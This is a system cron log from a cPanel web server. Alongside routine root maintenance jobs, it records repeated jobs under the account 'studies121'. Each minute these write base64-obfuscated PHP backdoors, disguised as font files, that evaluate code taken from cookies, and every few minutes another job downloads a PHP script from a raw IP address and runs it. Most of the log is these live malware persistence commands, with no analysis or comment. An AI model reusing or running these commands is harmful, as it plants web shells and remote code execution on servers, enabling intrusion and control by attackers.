Aug 31 05:36:01 ip-184-168-122-23 CROND[6598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:36:01 ip-184-168-122-23 CROND[6597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:37:01 ip-184-168-122-23 CROND[6704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:37:01 ip-184-168-122-23 CROND[6705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:37:01 ip-184-168-122-23 CROND[6706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:37:01 ip-184-168-122-23 CROND[6708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:38:01 ip-184-168-122-23 CROND[6852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:38:01 ip-184-168-122-23 CROND[6853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:38:01 ip-184-168-122-23 CROND[6856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:38:01 ip-184-168-122-23 CROND[6858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:38:01 ip-184-168-122-23 CROND[6859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:39:01 ip-184-168-122-23 CROND[6963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:39:01 ip-184-168-122-23 CROND[6964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:39:01 ip-184-168-122-23 CROND[6966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:39:01 ip-184-168-122-23 CROND[6967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 05:39:01 ip-184-168-122-23 CROND[6969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:40:02 ip-184-168-122-23 CROND[7067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:40:02 ip-184-168-122-23 CROND[7072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:40:02 ip-184-168-122-23 CROND[7071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:40:02 ip-184-168-122-23 CROND[7073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:40:02 ip-184-168-122-23 CROND[7069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:40:02 ip-184-168-122-23 CROND[7074]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:40:02 ip-184-168-122-23 CROND[7075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:40:02 ip-184-168-122-23 CROND[7070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:41:02 ip-184-168-122-23 CROND[7184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:41:02 ip-184-168-122-23 CROND[7185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:41:02 ip-184-168-122-23 CROND[7186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:41:02 ip-184-168-122-23 CROND[7187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:42:01 ip-184-168-122-23 CROND[7363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:42:01 ip-184-168-122-23 CROND[7365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:42:01 ip-184-168-122-23 CROND[7368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:42:01 ip-184-168-122-23 CROND[7367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:42:01 ip-184-168-122-23 CROND[7369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:43:01 ip-184-168-122-23 CROND[7501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:43:01 ip-184-168-122-23 CROND[7503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:43:01 ip-184-168-122-23 CROND[7505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:43:01 ip-184-168-122-23 CROND[7506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:44:01 ip-184-168-122-23 CROND[7611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:44:01 ip-184-168-122-23 CROND[7612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:44:01 ip-184-168-122-23 CROND[7610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:44:01 ip-184-168-122-23 CROND[7614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:44:01 ip-184-168-122-23 CROND[7616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:45:01 ip-184-168-122-23 CROND[7715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:45:01 ip-184-168-122-23 CROND[7717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:45:01 ip-184-168-122-23 CROND[7718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:45:01 ip-184-168-122-23 CROND[7716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:45:01 ip-184-168-122-23 CROND[7720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:45:01 ip-184-168-122-23 CROND[7725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:46:02 ip-184-168-122-23 CROND[7824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:46:02 ip-184-168-122-23 CROND[7825]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:46:02 ip-184-168-122-23 CROND[7831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:46:02 ip-184-168-122-23 CROND[7830]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 05:46:02 ip-184-168-122-23 CROND[7829]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:46:02 ip-184-168-122-23 CROND[7832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:46:02 ip-184-168-122-23 CROND[7833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:47:01 ip-184-168-122-23 CROND[8057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:47:01 ip-184-168-122-23 CROND[8059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:47:01 ip-184-168-122-23 CROND[8060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:47:01 ip-184-168-122-23 CROND[8062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:48:01 ip-184-168-122-23 CROND[8254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:48:01 ip-184-168-122-23 CROND[8253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
